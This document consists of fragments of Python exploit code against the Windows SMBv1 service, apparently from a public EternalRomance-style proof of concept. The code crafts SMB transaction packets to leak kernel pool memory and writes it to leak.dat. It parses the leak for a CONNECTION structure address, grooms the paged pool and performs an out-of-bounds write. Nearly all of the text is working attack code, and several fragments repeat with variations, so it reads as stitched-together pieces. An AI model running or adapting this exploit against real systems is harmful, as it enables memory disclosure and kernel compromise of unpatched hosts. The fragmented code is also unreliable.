tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK # normally, small transaction is allocated from lookaside which force all buffer size to 0x5000 # the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup for i in range(10): conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) mid_ntrename = conn.next_mid() # create NT_TRANS_RENAME (5) request req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A'*0x10c0, maxParameterCount=0x3f40) # leak 0x150 bytes req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A'*0x150) reqs = [ conn.create_trans_packet('', totalDataCount=0x90, maxSetupCount=0, maxParameterCount=0xd00, maxDataCount=0) for i in range(8) ] conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2+''.join(reqs)) data = conn.recv_transaction_data(mid_ntrename, 0x10c0+0x150) # no write parameter open('leak.dat', 'wb').write(data[4:]) print('All return data is written to leak.dat') conn.close(tid, fid) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close()
maxParameterCount=0, maxDataCount=0) mid_ntrename = conn.next_mid() # create NT_TRANS_RENAME (5) request req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A' * 0x1b8, maxParameterCount=0x4e48) # leak 264 bytes req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A' * 264) reqs = [ conn.create_trans_packet('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) for i in range(15) ] conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:] + req2 + ''.join(reqs)) data = conn.recv_transaction_data(mid_ntrename, 0x1b8 + 264) leakData = data[0x1c0:] # skip data # find TRANSACTION struct to get CONNECTION address pos = data.find('LStr') leakTrans = data[pos + 4 + 0x18:] connection_addr = unpack('<Q', leakTrans[0x10:0x18])[0] print('found CONNECTION address: 0x{:x}'.format(connection_addr))
# ================================ # initial groom # ================================ print('sending packet') # send 10 groom packets for i in range(10): conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0x5400, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) mids = [] pids = [] for i in range(3): mid = conn.next_mid() pid = conn._pid - i - 1 # req1 is for leak bride transaction req1 = conn.create_trans_packet(pack('<HH', 0x23, fid), mid=mid, totalDataCount=1, maxParameterCount=0x5400, maxSetupCount=0) # req2 is for modify bride transaction, next to this groom, with OOB write req2 = conn.create_trans_packet(pack('<HH', 0x36, fid), mid=fid, pid=pid, totalDataCount=0x5400, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) # req3 is for ? req3 = conn.create_trans_packet(pack('<HH', 0x36, fid), totalDataCount=0x5400, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) conn.send_raw(req1+req2+req3) mids.append(mid) pids.append(pid) for i in range(len(mids)): conn.recvSMB() # normally, small transaction is allocated from lookaside which force all buffer size to 0x5000 # the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup # send 48 bride packets
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0x7e00, maxDataCount=0) conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0x7e00, maxDataCount=0, tid=tid2) # free 25+1 transactions (create 25 holes) conn.disconnect_tree(tid2) print('Sending 40 padding packets') # fill all large holes (size >= 0x10000) for i in range(40): conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0xfe80, maxDataCount=0) # Hope no hole for large paged pool left reqs = [] for i in range(7): mid = fid if i == 2 else None reqs.append(conn.create_trans_packet(pack('<HH', 0x36, fid), mid=mid, totalDataCount=0xfe80, maxDataCount=0)) conn.send_raw(''.join(reqs)) for i in range(7): conn.recvSMB() # smb write raw named pipe conn.do_write_andx_raw_pipe(fid, 'A'*512) # OOB write conn.send_trans_secondary(fid, data='\x00\x00', dataDisplacement=0xfdc0) # test OOB write result by sending a secondary with mid=0 and bad data displacement conn.send_trans_secondary(0, data='\x00', dataDisplacement=0xffff) # if success, the target must reply an error # if no reply, fail recvPkt = conn.recvSMB()
conn.disconnect_tree(tid2) print('Sending 40 padding packets') # fill all large holes (size >= 0x10000) for i in range(40): conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0xfe80, maxDataCount=0) # Hope no hole for large paged pool left reqs = [] for i in range(7): mid = fid if i == 2 else None reqs.append( conn.create_trans_packet(pack('<HH', 0x36, fid), mid=mid, totalDataCount=0xfe80, maxDataCount=0)) conn.send_raw(''.join(reqs)) for i in range(7): conn.recvSMB() # smb write raw named pipe conn.do_write_andx_raw_pipe(fid, 'A' * 512) # OOB write conn.send_trans_secondary(fid, data='\x00\x00', dataDisplacement=0xfdc0) # test OOB write result by sending a secondary with mid=0 and bad data displacement conn.send_trans_secondary(0, data='\x00', dataDisplacement=0xffff) # if success, the target must reply an error # if no reply, fail